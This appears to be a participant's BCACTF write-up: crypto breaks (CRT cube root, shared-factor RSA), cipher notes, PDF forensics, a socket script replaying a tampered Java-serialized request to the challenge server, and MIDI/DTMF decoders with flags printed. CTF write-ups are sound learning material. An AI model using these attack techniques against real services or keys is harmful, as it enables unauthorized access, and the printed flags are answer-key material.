Basically need to just guess a stack offset, guessed 0x10 off then 0x20 off and got it.
Crypto
Time Skip (297 solves)
Description:
One of our problem writers got sent back in time! We found a piece a very very old piece of parchment where he disappeared, alongside a long cylinder. See if you can uncover his flag!
Ignore the silly science, but perhaps he wanted to mimic encryption methods of his new time.
Solution:
Google "old cipher cylinder" first result is Scytale wiki. On to dcode.
Cha-Cha Slide (125 solves)
Description:
I made this cool service that lets you protect your secrets with state-of-the-art encryption. It's so secure that we don't even tell you the key we used to encrypt your message!
We can run it as many times as we want but we only need 3 sets of data. Using CRT:
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import crt
from gmpy2 import iroot
# Given ciphertext and modulus pairs
pairs = [
(27103010174271472861051706874886615840444379989972162570725489819751234961995582124578431634602428817625887870176162703741458077169366173426315322895480489370678533843281920476051789528477905816643757959921523349468472293705018452507392596899261140807662895351041963518234252833749119529970349259551907610047,
141941061149431225909447501248397042743729155760933456250570579244288760033019008962020680907400261235105998419984814946029006488769373433950418645849100405261392310745556350128975979135225980653800180086441825657950665067012472437820905137722768618316467228112651886841947751132954217638427584998957691161543),
(87004949322535581002845528283231609435043822518577856219269530157861507832047746385930333124660438150297622341510182560300266612825341538429711950152346935939980781729973969899169529798977322096907501140438066881388903956013367025716567268766872089980432819555001256460775713597503849693683075281035946910805,
164854415395195002860687410205812008596168380618683194991865599071902230943582675566040079405276465895686691564574205042927515509958944080979432379788978959976857787977097682654144889975725126158176862536468249471221382327118605263290096475812329070981479641583303884910722672628326426001535265046184644734177),
(83155564799958326074880616045095533753489723920953050107120240226917503722018495606341715610875627752729252097031038931415197521240585226475667327656291523531031314388427603780715088951415652201010890442676474263769772551485968315688322603351142769621763428831089566462622943481253975668040565669538195947608,
91622711695775483202371027920947490429472842004062163788214691941135437813948805097348422438049023164131639966675865485748980904140965225717567674548812454134942698796779973935852163403930992789324152880046715985741825285659813990968232578539971443433412470004989280921473688848325996598686172455732255695369)
]
# Separate ciphertexts and moduli
c_values, n_values = zip(*pairs)
# Apply CRT to find combined modulus and value
crt_value, crt_modulus = crt(n_values, c_values)
# Compute the cube root of the CRT result
m_cubed = crt_value % crt_modulus
m, exact = iroot(m_cubed, 3)
# Convert the integer message back to bytes
message = long_to_bytes(m)
print("Decoded message:", message.decode('utf-8'))
# Decoded message: bcactf{those_were_some_rather_large_numbersosvhb9wrp8ghed}
Encryptor Shop (174 solves)
Description:
After realizing how insecure the systems of many companies are (they're always getting hacked), I decided to start offering Encryption as a Service (EaaS). With such a strong guarantee of security, I'll even give you the source code AND my encrypted super secret flag.
There's a lot of info in this challenge we don't need, solution is self explanatory.
from Crypto.Util.number import long_to_bytes
from math import gcd
# Given values
n1 = 20046349873944205176423114443455689919669910795481350914626057084784218454972444164437519922639611988293310882518658786050151344878815796277827043279810580510114086986810944738481410150153418518145042227083952305858419728237186431516810574314177791955511057864270118882112562714389885135695325845034887428152577194786136631741752649636317046910624271139746239901843490149346254880759384029872965698576627008596767706526357092262568207131164128893294570124821029888194605727045625622179935996383919001893144222235252648145542768780147479448635060554265557876060562288573205708569951396893958798423743419449831849679703
n2 = 16434970135964003988139434495907623074623915350636969988786281825411133565722730304432740589037550628704987212370759314135720895493223571323170808308538042694687496332434441273093965513648297064578122146387468262905283296843437251431675048618790342476490402712290704768419586630590698635087606985925882174123304114238083655662014084638225032464353497609499464277177906008437489400454514041277523568684178566790355790654404998461838776405284274742673238076489611721077943860463950101091777924688713264134854377886327971030775111328814523481403041572941936263227914010368853137334940543326090790888857870532772145679829
e = 65537
# Encrypted flag value
flag_encrypted = 12339552846536087040879912645948500287607794336240492567779731046851528952834941805240683330768651536008545089628868346638124325562217740588228222591290194820508395407077625893039673374182075366452014399361448765459654844499631346896811068911338859627193230756708264479249829238083026010880370829549373905800823178875797446557019742579472229162257521778812978903494185000515696305560113298581564992727779353601136317925966691894790914752121144617810057710328491837869745962542073823980407529111032452806587917079691627421867347019865974395024445704612338911350208209300812172223497360641199348928783642293085110625052
# Find p
p = gcd(n1, n2)
# Calculate q and r
q = n1 // p
r = n2 // p
# Calculate phi for the new modulus n2
phi_n2 = (p - 1) * (r - 1)
d = pow(e, -1, phi_n2)
# Decrypt the flag
flag_decrypted = pow(flag_encrypted, d, n2)
flag = long_to_bytes(flag_decrypted).decode()
print(f"Flag: {flag}")
#Flag: bcactf{w0w_@lg3br@_d3in48uth934r}
Vinegar Times 3 (319 solves)
Description:
We can't speak French and just say what we see.
We also don't know what underscores are add them yourself.
put ONLY the final decrypted cipher in bcactf{}, no intermediate steps
key - vinegar
cipher 0 - mmqaonv
cipher 1 - seooizmt
cipher 2 - bdoloeinbdjmmyg <- THIS ONE
Solution:
Freebie, vigenere cipher with key being the decoded text of the previous stage. Before the flag format was clarified, it was a bit harder. bcactf{add_to_salad_yummy}
rad-be-damned (94 solves)
Description:
My friend seems to be communicating something but I can't make out anything. Why do we live so close to Chernobyl anyways?
that's a nice unanimous supreme court decision you've made public, sure would be a shame if someone didn't properly clean up remnants of a prior version of the document before publishing it
this is a real thing that happened that had real articles written about it
Solution:
Hidden in the text, not visible normally so convert pdf to txt.
ββ$ pdftotext 23-719_19m2.pdf
ββ$ grep -C2 ctf 23-719_19m2.txt 130 β¨―
Al_WOrLd_appLIc4t1ons_Of_cTf_ad04cc78601d5da8}
b cactf{rE , KAGAN
SOTOMAYOR
, and JACKSON, JJ., concurring in judgment
flagserver (57 solves)
Description:
It looks like Ircus have been using a fully exposed application to access their flags! Look at this traffic I captured. I can't seem to get it to work, though... can you help me get the flag for this very challenge?
NOTE: During normal operation, directly connecting to flagserver using nc should give some nonprintable characters like οΏ½οΏ½. If instead you receive nothing, please let us know.
It looks like their server contains flags for two challenges - this one ("flagserver") and a decoy one.
Solution:
We can look at the pcapng to see the communication with the server, then we just replace the command (fakechall) with flagserver and copy the rest of the bytes used in the request command. One hiccup is that flagserver is 10 characters while fakechall is 9, and when we replace as is, we see the server only gets "flagserve". Luckily the byte right before the string is 0x09 which we can assume is a length field, so replace that with 0x0A and we win.
import socket
# Server details
host = 'challs.bcactf.com'
port = 30134
# Hex values to send
initial_hex = "aced0005"
additional_hex = (
"7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b"
"78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000"
"787074000A666c6167736572766572"
)
# Convert hex to bytes
initial_bytes = bytes.fromhex(initial_hex)
additional_bytes = bytes.fromhex(additional_hex)
# Connect to the server and send the requests
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
print(f"Connected to {host}:{port}")
# Receive initial response
initial_response = s.recv(1024)
print(f"Initial response: {initial_response.hex()}")
# Send the initial hex value
s.sendall(initial_bytes)
print(f"Sent: {initial_hex}")
# Receive response
#print(f"Received after sending initial hex: {response.hex()}")
# Send the additional hex value
s.sendall(additional_bytes)
print(f"Sent additional data: {additional_hex}")
# Receive the final response
final_response = s.recv(1024)
print(final_response)
#Connected to challs.bcactf.com:30134
#Initial response: aced0005
#Sent: aced0005
#Sent additional data: 7372001e666c61677365727665722e4d65737361676543746f535f52657175657374bd164155d760d5a30200014c00056368616c6c7400124c6a6176612f6c616e672f537472696e673b78720012666c61677365727665722e4d65737361676590d21cc718e89c16020000787074000A666c6167736572766572
#b'sr\x00\x1bflagserver.MessageStoC_Flag\xecI\xc1@]/\xe2\x0b\x02\x00\x01L\x00\x04flagt\x00\x12Ljava/lang/String;xr\x00\x12flagserver.Message\x90\xd2\x1c\xc7\x18\xe8\x9c\x16\x02\x00\x00xpt\x009bcactf{thankS_5OCK3ts_and_tHreADInG_clA5s_2f6fb44c998fd8}'
magic (131 solves)
Description:
I found this piece of paper on the floor. I was going to throw it away, but it somehow screamed at me while I was holding it?!
First we need to transcribe the notes, I forget what I used but it was some python package that used AI to convert to a midi file. Then, I ran this on the output.
import mido
# Define the notes and their corresponding hexadecimal values
NOTE_TO_HEX = {
'C4': '0',
'D4': '1',
'E4': '2',
'F4': '3',
'G4': '4',
'A4': '5',
'B4': '6',
'C5': '7',
'D5': '8',
'E5': '9',
'F5': 'A',
'G5': 'B',
'A5': 'C',
'B5': 'D',
'C6': 'E',
'D6': 'F'
}
# MIDI note numbers to note names
NOTE_NAMES = {
60: 'C4',
62: 'D4',
64: 'E4',
65: 'F4',
67: 'G4',
69: 'A4',
71: 'B4',
72: 'C5',
74: 'D5',
76: 'E5',
77: 'F5',
79: 'G5',
81: 'A5',
83: 'B5',
84: 'C6',
86: 'D6'
}
def parse_midi_file(file_path):
midi = mido.MidiFile(file_path)
notes = []
for track in midi.tracks:
for msg in track:
if msg.type == 'note_on' and msg.velocity > 0:
note_number = msg.note
if note_number in NOTE_NAMES:
note_name = NOTE_NAMES[note_number]
notes.append(note_name)
return notes
def notes_to_hex(notes):
hex_string = ''.join(NOTE_TO_HEX[note] for note in notes if note in NOTE_TO_HEX)
return hex_string
# Read the MIDI file
midi_file = 'out.mid'
notes = parse_midi_file(midi_file)
# Convert notes to hexadecimal string
hex_string = notes_to_hex(notes)
print("Hexadecimal string:", hex_string)
# Hexadecimal string: 0123456789ABCDEF6263616374667B60265617570469667560C5F6D656C6F64795F62656175746966756C5F6861726D6F6E7907
Output was still messed up so fixed manually in cyberchef, just some extra zeros.
Chalkboard Gag (383 solves)
Description:
Matt Groening sent me an unused chalkboard gag, he says there's something special inside of it.
There are some unique differences in some of the lines...
Solution:
Find/replace delete the string that repeats to isolate the unique lines. I just manually copied the flag from there.
I WILL NOT bE SNEAKYI WIcL NOT BE SNEAKYI WILL NOT BE SNEAKaI WcLL NOT BE SNEAKYI WILL NOT BE SNEAKtI WILL NOT Bf SNEAKYI {ILL NOT BE SNEAKYI WILL NOT BE SNEBKYI WILL NaT BE SNEAKYI WILL NOT BE SNRAKYI WILT NOT BE SNEAKYI WILL NOT _E SNEAKYI WILW NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNEUKYI WI1L NOT BE SNEAKYI WILL NOT BE SNEADYI W_LL NOT BE SNEAKYI WILL NOT BE SBEAKYI WILL NOT B3 SNEAKYI _ILL NOT BE SNEAKYI WILL NOT BE SNEPKYI WILR NOT BE SNEAKYI WILL N0T BE SNEAKYI WILL NOT BE SNuAKYI WIDL NOT BE SNEAKYI WILL NOT BE SNEAK}
Touch Tone Telephone (31 solves)
Description:
theres a demon inside of my head
now im unable to go to bed
i gave a shout
the phone rang out
and now theres just feelings of dread
i picked up the phone and i heard
a resounding cry from the herd
of phone systems cursed
and stuck with the curse
of button pressing till theyre dead
i heard the beeping with my ears
knowing it could solve all my fears
to find the demon
the lemon heathen
to wipe away ctf tears
DTMF is a really cool technologyThere also used to be A, B, C, and D menu selection keysHow many keys are there in total? Is it a computer science-y number?For key to number, Start at top left, reading order. (Sorry, 0 is not 0, my bad)
Solution:
Tried with online tools and got close but it really needed a custom solution since the last part is to decode from an arbitrary hex string which can't be corrected manually. Below is code to record the DTMF from the file, to convert the mapping, then to decode.
import numpy as np
import scipy.signal
from pydub import AudioSegment
from pydub.playback import play
# Define the DTMF frequencies
DTMF_FREQS = {
'1': (697, 1209),
'2': (697, 1336),
'3': (697, 1477),
'A': (697, 1633),
'4': (770, 1209),
'5': (770, 1336),
'6': (770, 1477),
'B': (770, 1633),
'7': (852, 1209),
'8': (852, 1336),
'9': (852, 1477),
'C': (852, 1633),
'*': (941, 1209),
'0': (941, 1336),
'#': (941, 1477),
'D': (941, 1633),
}
# Inverse map for quick lookup
FREQ_PAIR_TO_KEY = {v: k for k, v in DTMF_FREQS.items()}
# Load the audio file
audio = AudioSegment.from_wav("output.wav")
# Convert to mono
audio = audio.set_channels(1)
# Convert to numpy array
samples = np.array(audio.get_array_of_samples())
# Define the sample rate
sample_rate = audio.frame_rate
# Define the window size (in samples)
window_size = int(sample_rate * 0.05) # 50ms window
step_size = int(sample_rate * 0.025) # 25ms step size
# Initialize the detected tones string
detected_tones = ""
# Function to detect DTMF tone in a window of samples
def detect_dtmf_tone(window):
# Perform FFT
freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=512, noverlap=256, detrend=False, scaling='spectrum')
Sx = np.log10(Sx + 1e-10)
# Find peaks in the spectrum
peak_indices = np.argsort(Sx.max(axis=1))[-2:] # Get two highest peaks
peak_freqs = sorted(freqs[peak_indices])
# Check if peaks correspond to DTMF frequencies
for (f1, f2), key in FREQ_PAIR_TO_KEY.items():
if abs(f1 - peak_freqs[0]) < 20 and abs(f2 - peak_freqs[1]) < 20:
return key
return None
# Process the audio in windows
for start in range(0, len(samples) - window_size, step_size):
window = samples[start:start + window_size]
tone = detect_dtmf_tone(window)
if tone:
detected_tones += tone
def process_dtmf_output(dtmf_string):
# Initialize the result string
result = ""
# Initialize a counter for unmatched characters
unmatched_counts = {}
# Loop through the string
i = 0
while i < len(dtmf_string):
# Check if there are at least 3 characters left
if i + 2 < len(dtmf_string) and dtmf_string[i] == dtmf_string[i+1] == dtmf_string[i+2]:
# If the next 3 characters are the same, add the character to the result
result += dtmf_string[i]
# Move the index by 3
i += 3
elif i + 1 < len(dtmf_string) and dtmf_string[i] == dtmf_string[i+1]:
# If the next 2 characters are the same, add the character to the result
result += dtmf_string[i]
# Move the index by 2
i += 2
else:
# Count remaining unmatched characters
char = dtmf_string[i]
if char not in unmatched_counts:
unmatched_counts[char] = 0
unmatched_counts[char] += 1
# Move the index by 1
i += 1
# Print warnings for unmatched characters
for char, count in unmatched_counts.items():
print(f"Warning: Character '{char}' only shows up {count} time(s).")
return result
# Process the output
processed_output = process_dtmf_output(detected_tones)
print("Processed output:", processed_output)
# Define the mapping in a dictionary
mapping = {
'1': '0',
'2': '1',
'3': '2',
'A': '3',
'4': '4',
'5': '5',
'6': '6',
'B': '7',
'7': '8',
'8': '9',
'9': 'A',
'C': 'B',
'*': 'C',
'0': 'D',
'#': 'E',
'D': 'F'
}
# Given encoded message
encoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7A6A23#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7AA653#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7AAA73#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A83#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A1623#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7A4A53#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A83#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A66A3#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3633#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1A33#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A6663#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A1A23#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7ABA33#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7AAA83#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1A43#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#19B7B16453655B45666#6DA443B4B653655547B7B5A7B443B36C6#B85567A2A3A7446D6*BA5B67A26DB9AB6A6#5544B86B48B76C4A48B4BBBAA1A5B64#A75A646C46B1545153B6564#556A5354B46D5AABB945556266AB4D4#48AA6#A155B456B5486*68A8436A5166B7454A586044485DA445AAB349425567584B56A8BB4D4648"
# Decode the message
decoded_message = ''.join(mapping.get(char, char) for char in encoded_message)
print(decoded_message)
# Put final part in cyberchef, then follow the instructions to create the last part
# Given indices in hexadecimal
hex_indices = [
"0x61", "0x72", "0x6c", "0x38", "0x2b", "0x6f", "0x3e", "0x59",
"0x6c", "0x38", "0x19", "0x6f", "0x1d", "0x72", "0x0a", "0x45",
"0x59", "0x6f", "0x6c", "0x2e", "0x6f", "0x6c", "0x26", "0x2b",
"0x02", "0x6f", "0x01", "0x26", "0x72", "0x53", "0x39", "0x04"
]
# The string to index into
random_garbage = "xpdReWEfno4BtvReUHxu8tBrknyUh128DolsWh1oz7cnUDygIxkCItws05vN8SdkFpTPRvVNUcRTtoS7zEUaf7ONI3n0UtVuIli9BcPfxECYmDI_4E3rJAUhYGV9wOFI"
# Convert hex indices to decimal
decimal_indices = [int(hx, 16) for hx in hex_indices]
# Extract characters from the random garbage string
flag = ''.join(random_garbage[idx] for idx in decimal_indices)
# Wrap the flag in the proper format
formatted_flag = f"BCACTF{{{flag}}}"
print(formatted_flag)
# BCACTF{l3m0n_d3m0n_134v3_my_m1nd_p13a5e}
Touch Tone Telephone (Revenge) (15 solves)
Description:
Well let's quickly patch out an unintended solvepath to the original challenge...
There, now go use your programming skills.
Even more of a headphone warning with this one, sorry.
Similar to previous one but twice the speed. Played around with settings until decoding was clean.
import numpy as np
import scipy.signal
from pydub import AudioSegment
from pydub.playback import play
# Define the DTMF frequencies
DTMF_FREQS = {
'1': (697, 1209),
'2': (697, 1336),
'3': (697, 1477),
'A': (697, 1633),
'4': (770, 1209),
'5': (770, 1336),
'6': (770, 1477),
'B': (770, 1633),
'7': (852, 1209),
'8': (852, 1336),
'9': (852, 1477),
'C': (852, 1633),
'*': (941, 1209),
'0': (941, 1336),
'#': (941, 1477),
'D': (941, 1633),
}
# Inverse map for quick lookup
FREQ_PAIR_TO_KEY = {v: k for k, v in DTMF_FREQS.items()}
# Load the audio file
audio = AudioSegment.from_wav("output.wav")
# Convert to mono
audio = audio.set_channels(1)
# Convert to numpy array
samples = np.array(audio.get_array_of_samples())
# Define the sample rate
sample_rate = audio.frame_rate
# Define the window size (in samples)
window_size = int(sample_rate * 0.04) # ~16.7ms window (1/3 of the original 50ms)
step_size = int(sample_rate * 0.02) # ~8.35ms step size (1/3 of the original 25ms)
# Initialize the detected tones string
detected_tones = ""
# Function to detect DTMF tone in a window of samples
def detect_dtmf_tone(window):
# Perform FFT with increased nperseg for better frequency resolution
freqs, times, Sx = scipy.signal.spectrogram(window, fs=sample_rate, window='hann', nperseg=1024, noverlap=512, detrend=False, scaling='spectrum')
Sx = np.log10(Sx + 1e-10)
# Find peaks in the spectrum
peak_indices = np.argsort(Sx.max(axis=1))[-2:] # Get two highest peaks
peak_freqs = sorted(freqs[peak_indices])
# Check if peaks correspond to DTMF frequencies
for (f1, f2), key in FREQ_PAIR_TO_KEY.items():
if abs(f1 - peak_freqs[0]) < 15 and abs(f2 - peak_freqs[1]) < 15: # Increased frequency tolerance
return key
return None
# Process the audio in windows
for start in range(0, len(samples) - window_size, step_size):
window = samples[start:start + window_size]
tone = detect_dtmf_tone(window)
if tone:
detected_tones += tone
# Print the output
print(detected_tones)
# Define the mapping in a dictionary
mapping = {
'1': '0',
'2': '1',
'3': '2',
'A': '3',
'4': '4',
'5': '5',
'6': '6',
'B': '7',
'7': '8',
'8': '9',
'9': 'A',
'C': 'B',
'*': 'C',
'0': 'D',
'#': 'E',
'D': 'F'
}
# Given encoded message
encoded_message = "47656*6*6D3#315B656*6A6D606531B46D31B4676531434A424A54463147656*B16*686#653#19546768BA316A626*6*316062B831636531B3656A6DB364656431666DB331B2B5626*68B4B83162BABAB5B3626#6A6531B1B5B3B16DBA65BA3#1919466DB3316A6762B33131A13*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B33131A23*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B33131A33*316B65B431686#6465B731A1B7ABA43#19466DB3316A6762B33131AA3*316B65B431686#6465B731A1B7A2A23#19466DB3316A6762B33131A43*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B33131A53*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B33131A63*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B33131AB3*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B33131A73*316B65B431686#6465B731A1B7A3A53#19466DB3316A6762B33131A83*316B65B431686#6465B731A1B7A2A33#19466DB3316A6762B331A2A13*316B65B431686#6465B731A1B7A2A23#19466DB3316A6762B331A2A23*316B65B431686#6465B731A1B7AAA43#19466DB3316A6762B331A2A33*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A2AA3*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A2A43*316B65B431686#6465B731A1B7A4A13#19466DB3316A6762B331A2A53*316B65B431686#6465B731A1B7ABA23#19466DB3316A6762B331A2A63*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A2AB3*316B65B431686#6465B731A1B7A6A53#19466DB3316A6762B331A2A73*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331A2A83*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B331A3A13*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331A3A23*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331A3A33*316B65B431686#6465B731A1B7A2A33#19466DB3316A6762B331A3AA3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A43*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A3A53*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B331A3A63*316B65B431686#6465B731A1B7A4A33#19466DB3316A6762B331A3AB3*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A3A73*316B65B431686#6465B731A1B7A2AA3#19466DB3316A6762B331A3A83*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331AAA13*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331AAA23*316B65B431686#6465B731A1B7A1663#19466DB3316A6762B331AAA33*316B65B431686#6465B731A1B7A3653#19466DB3316A6762B331AAAA3*316B65B431686#6465B731A1B7AAA63#19466DB3316A6762B331AAA43*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331AAA53*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331AAA63*316B65B431686#6465B731A1B7A36A3#19466DB3316A6762B331AAAB3*316B65B431686#6465B731A1B7ABA43#19466DB3316A6762B331AAA73*316B65B431686#6465B731A1B7A1A83#19466DB3316A6762B331AAA83*316B65B431686#6465B731A1B7A3A43#19466DB3316A6762B331A4A13*316B65B431686#6465B731A1B7AB633#19466DB3316A6762B331A4A23*316B65B431686#6465B731A1B7AA6A3#19466DB3316A6762B331A4A33*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A4AA3*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A4A43*316B65B431686#6465B731A1B7A36A3#19466DB3316A6762B331A4A53*316B65B431686#6465B731A1B7A3A63#19466DB3316A6762B331A4A63*316B65B431686#6465B731A1B7A4643#19466DB3316A6762B331A4AB3*316B65B431686#6465B731A1B7A6633#19466DB3316A6762B331A4A73*316B65B431686#6465B731A1B7A5663#19466DB3316A6762B331A4A83*316B65B431686#6465B731A1B7A1643#19466DB3316A6762B331A5A13*316B65B431686#6465B731A1B7A6623#19466DB3316A6762B331A5A23*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A5A33*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331A5AA3*316B65B431686#6465B731A1B7A3A13#19466DB3316A6762B331A5A43*316B65B431686#6465B731A1B7A1A73#19466DB3316A6762B331A5A53*316B65B431686#6465B731A1B7A2643#19466DB3316A6762B331A5A63*316B65B431686#6465B731A1B7ABA13#19466DB3316A6762B331A5AB3*316B65B431686#6465B731A1B7A3663#19466DB3316A6762B331A5A73*316B65B431686#6465B731A1B7A3643#19466DB3316A6762B331A5A83*316B65B431686#6465B731A1B7AAA23#19466DB3316A6762B331A6A13*316B65B431686#6465B731A1B7A6A43#19466DB3316A6762B331A6A23*316B65B431686#6465B731A1B7A4623#19466DB3316A6762B331A6A33*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A6AA3*316B65B431686#6465B731A1B7A6643#19466DB3316A6762B331A6A43*316B65B431686#6465B731A1B7A16A3#19466DB3316A6762B331A6A53*316B65B431686#6465B731A1B7AB6A3#19466DB3316A6762B331A6A63*316B65B431686#6465B731A1B7A4A23#19466DB3316A6762B331A6AB3*316B65B431686#6465B731A1B7A5A53#19466DB3316A6762B331A6A73*316B65B431686#6465B731A1B7A5AA3#19466DB3316A6762B331A6A83*316B65B431686#6465B731A1B7A5A63#19466DB3316A6762B331ABA13*316B65B431686#6465B731A1B7A2633#19466DB3316A6762B331ABA23*316B65B431686#6465B731A1B7ABA63#191919516*6562BA6531676D6*6431BB67686*6531BB6531BA656#6431B86DB531B3626#646D60316B62B363626B6531B46762B431B86DB531BA676DB56*6431686#6465B731686#B46D31B46D316B65B431B4676531666*626B3#195B67656#31B86DB53BB3653166686#68BA6765643*3160626C6531BAB5B36531B46D31BBB362B131B4676531666*626B31686#31B4676531B1B36DB165B331666DB36062B43#194BA74C53B5BBB258A35DBB4BA7B4A163A2666865514A4B6B516DA74740AA5663A24063B3B26*6#A465B7BAA168A4625D6*A55254B869644DB3B9694*684CB9A1B14AB3465745A26*685443B95A6B4B53525A6A5A685DA153BB595AA66747596A4D4*A56BA663A44#4D6*665D46AB6#B642B1404560A444B2B54249B5A8456*48"
# Decode the message
decoded_message = ''.join(mapping.get(char, char) for char in encoded_message)
print(decoded_message)
Decoded message:
Hello. Welcome to the BCACTF Helpline.
This call may be recorded for quality assurance purposes.
For char 0, get index 0x36.
For char 1, get index 0x0d.
For char 2, get index 0x74.
For char 3, get index 0x11.
For char 4, get index 0x2f.
For char 5, get index 0x26.
For char 6, get index 0x13.
For char 7, get index 0x0d.
For char 8, get index 0x25.
For char 9, get index 0x12.
For char 10, get index 0x11.
For char 11, get index 0x34.
For char 12, get index 0x55.
For char 13, get index 0x2e.
For char 14, get index 0x40.
For char 15, get index 0x71.
For char 16, get index 0x55.
For char 17, get index 0x65.
For char 18, get index 0x2e.
For char 19, get index 0x36.
For char 20, get index 0x09.
For char 21, get index 0x09.
For char 22, get index 0x12.
For char 23, get index 0x26.
For char 24, get index 0x0d.
For char 25, get index 0x13.
For char 26, get index 0x42.
For char 27, get index 0x26.
For char 28, get index 0x13.
For char 29, get index 0x0d.
For char 30, get index 0x6b.
For char 31, get index 0x0f.
For char 32, get index 0x2e.
For char 33, get index 0x36.
For char 34, get index 0x6b.
For char 35, get index 0x2f.
For char 36, get index 0x2c.
For char 37, get index 0x74.
For char 38, get index 0x09.
For char 39, get index 0x24.
For char 40, get index 0x7b.
For char 41, get index 0x3c.
For char 42, get index 0x0d.
For char 43, get index 0x0d.
For char 44, get index 0x2c.
For char 45, get index 0x26.
For char 46, get index 0x4d.
For char 47, get index 0x6b.
For char 48, get index 0x5f.
For char 49, get index 0x0d.
For char 50, get index 0x6a.
For char 51, get index 0x55.
For char 52, get index 0x2f.
For char 53, get index 0x20.
For char 54, get index 0x08.
For char 55, get index 0x1d.
For char 56, get index 0x70.
For char 57, get index 0x2f.
For char 58, get index 0x2d.
For char 59, get index 0x31.
For char 60, get index 0x64.
For char 61, get index 0x4a.
For char 62, get index 0x55.
For char 63, get index 0x6d.
For char 64, get index 0x0c.
For char 65, get index 0x7c.
For char 66, get index 0x41.
For char 67, get index 0x55.
For char 68, get index 0x53.
For char 69, get index 0x56.
For char 70, get index 0x1b.
For char 71, get index 0x76.
Please hold while we send you random garbage that you should index into to get the flag.
When you're finished, make sure to wrap the flag in the proper format.
G8KRuwqY2_wG8t0b1fiePCGgPo8HM3Vb1Mbrqln4exs0i4a_l5QTyjdOrzjLiKz0pCrFXE1liTBzSgGRQScSi_0RwZS6hHZcOL5g6b4NOlf_F7nvApMEm4DquAJu9ElI
# Given indices in hexadecimal
hex_indices = [
"0x36", "0x0d", "0x74", "0x11", "0x2f", "0x26", "0x13", "0x0d",
"0x25", "0x12", "0x11", "0x34", "0x55", "0x2e", "0x40", "0x71",
"0x55", "0x65", "0x2e", "0x36", "0x09", "0x09", "0x12", "0x26",
"0x0d", "0x13", "0x42", "0x26", "0x13", "0x0d", "0x6b", "0x0f",
"0x2e", "0x36", "0x6b", "0x2f", "0x2c", "0x74", "0x09", "0x24",
